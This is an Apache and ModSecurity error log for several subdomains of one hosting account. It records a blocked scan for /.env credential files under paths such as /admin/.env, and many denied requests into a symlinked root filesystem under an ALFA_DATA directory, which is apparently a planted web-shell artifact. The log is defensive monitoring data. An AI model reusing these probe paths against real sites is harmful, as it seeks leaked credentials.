[Mon Oct 26 08:36:25.064455 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSQsj78QLlrBrm-44-gAAAAc"]
[Mon Oct 26 08:36:25.065419 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSXT09R7Np-FQ85dj6QAAAAo"]
[Mon Oct 26 08:36:25.065546 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSXT09R7Np-FQ85dj6QAAAAo"]
[Mon Oct 26 08:36:25.065780 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSXT09R7Np-FQ85dj6QAAAAo"]
[Mon Oct 26 08:36:25.070566 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSXhYESb98d-GXViKrgAAAAs"]
[Mon Oct 26 08:36:25.070688 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSXhYESb98d-GXViKrgAAAAs"]
[Mon Oct 26 08:36:25.070948 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSXhYESb98d-GXViKrgAAAAs"]
[Mon Oct 26 08:36:25.072184 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSZ_dbg3ptBnwDgQ5MAAAAAM"]
[Mon Oct 26 08:36:25.072307 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSZ_dbg3ptBnwDgQ5MAAAAAM"]
[Mon Oct 26 08:36:25.072517 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSZ_dbg3ptBnwDgQ5MAAAAAM"]
[Mon Oct 26 08:36:25.144390 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/Docker.md"] [unique_id "at9JSXT09R7Np-FQ85dj6gAAAAo"]
[Mon Oct 26 08:36:25.144427 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/Docker.md"] [unique_id "at9JSXT09R7Np-FQ85dj6gAAAAo"]
[Mon Oct 26 08:36:25.736734 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSQsj78QLlrBrm-45AgAAAAc"]
[Mon Oct 26 08:36:25.736952 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSQsj78QLlrBrm-45AgAAAAc"]
[Mon Oct 26 08:36:25.737289 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSQsj78QLlrBrm-45AgAAAAc"]
[Mon Oct 26 08:36:25.785008 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSXtuNRyqJbUWH7JwCQAAAAQ"]
[Mon Oct 26 08:36:25.785138 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSXtuNRyqJbUWH7JwCQAAAAQ"]
[Mon Oct 26 08:36:25.785370 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at9JSXtuNRyqJbUWH7JwCQAAAAQ"]
[Mon Oct 26 08:36:25.789502 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSQ9c_Zz9LocrxF9exQAAAAU"]
[Mon Oct 26 08:36:25.789622 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSQ9c_Zz9LocrxF9exQAAAAU"]
[Mon Oct 26 08:36:25.790043 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSQ9c_Zz9LocrxF9exQAAAAU"]
[Mon Oct 26 08:36:25.854646 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSXT09R7Np-FQ85dj8wAAAAo"]
[Mon Oct 26 08:36:25.854788 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSXT09R7Np-FQ85dj8wAAAAo"]
[Mon Oct 26 08:36:25.855116 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9JSXT09R7Np-FQ85dj8wAAAAo"]
[Mon Oct 26 08:36:42.165757 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 44.212.232.231:8406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:36:58.127497 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 18.232.12.157:57842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:36:58.156997 2026] [core:error] [pid 3031755:tid 3031755] (13)Permission denied: [client 185.191.171.7:11490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/objects_partial
[Mon Oct 26 08:37:07.761995 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 185.191.171.4:25360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/alloc_calls
[Mon Oct 26 08:37:08.949360 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.193:25436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/slabs
[Mon Oct 26 08:37:10.115885 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.210.114.189:57890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:37:26.144699 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 52.4.229.9:42515] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:37:34.424173 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 85.208.96.210:30272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/ctor
[Mon Oct 26 08:37:46.126230 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 98.84.200.43:8556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:38:06.304351 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.216.13.10:55471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:38:18.230810 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 52.7.33.248:45009] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_lpss/unbind
[Mon Oct 26 08:38:26.230074 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 44.213.202.136:15750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:38:34.137221 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 3.94.199.128:34498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory1/node0/compact
[Mon Oct 26 08:38:41.275397 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 85.208.96.199:20944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/usersize
[Mon Oct 26 08:38:42.119925 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.209.174.110:55866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:38:46.118947 2026] [core:error] [pid 3032274:tid 3032274] (13)Permission denied: [client 52.70.209.13:25597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/resource2
[Mon Oct 26 08:38:54.135480 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 44.205.74.196:56800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:38:58.156916 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.7.13.143:15205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:02.184107 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 18.205.91.101:49265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:06.163182 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 3.211.105.134:24750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/device/driver/bind
[Mon Oct 26 08:39:07.365589 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 85.208.96.197:58090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/system_needs_reboot.cache
[Mon Oct 26 08:39:09.658154 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 185.191.171.4:22026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/partial
[Mon Oct 26 08:39:10.785330 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 52.22.64.232:5661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:30.125811 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 44.212.131.50:28248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:42.119669 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 98.80.130.239:7033] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:46.148919 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 52.204.37.237:3254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:50.124061 2026] [core:error] [pid 3027735:tid 3027735] (13)Permission denied: [client 100.28.57.133:25916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/battery/unbind
[Mon Oct 26 08:39:54.118811 2026] [ssl:error] [pid 3019694:tid 3019694] (5)Input/output error: [client 23.21.227.240:46610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:39:58.245964 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 54.144.185.255:60601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:02.146614 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 44.213.36.21:62105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:14.110200 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 54.144.185.255:20090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:18.227942 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.205.141.124:23052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:22.035736 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 185.191.171.2:31156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:22.177812 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 54.225.81.20:14297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:38.147664 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 3.221.222.168:63676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:46.178713 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 34.234.200.207:1471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:54.125024 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.210.223.61:57365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:40:57.256565 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 85.208.96.201:51300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__ksymtab_strings
[Mon Oct 26 08:40:58.104854 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.200.142.199:26275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:02.138020 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 54.84.161.62:2498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:10.123386 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 52.70.123.241:4852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:30.114164 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.83.180.239:6155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:31.986736 2026] [security2:error] [pid 3026993:tid 3026993] [client 107.172.76.131:53783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KbnJ9l6phwCFrVaFgNAAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 08:41:31.986796 2026] [security2:error] [pid 3026993:tid 3026993] [client 107.172.76.131:53783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KbnJ9l6phwCFrVaFgNAAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 08:41:46.139972 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 18.232.36.1:38034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:50.199244 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.71.216.196:41555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:54.142047 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 23.23.213.182:62100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:41:58.280686 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 184.73.167.217:8745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:14.185048 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 184.72.95.195:47209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:22.193511 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 3.218.35.239:17394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:30.337196 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 184.73.239.35:30126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:34.210847 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 54.156.55.147:38324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:46.354109 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 35.174.253.85:13934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:48.018136 2026] [security2:error] [pid 3024455:tid 3024455] [client 107.172.76.131:53782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KvNznO4d1yCQgc5RBVgAAABY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:42:48.018209 2026] [security2:error] [pid 3024455:tid 3024455] [client 107.172.76.131:53782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9KvNznO4d1yCQgc5RBVgAAABY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:42:55.628420 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 100.29.155.89:55554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:42:58.243902 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 34.195.248.30:42360] AH02013: coalesce failed to read from data bucket
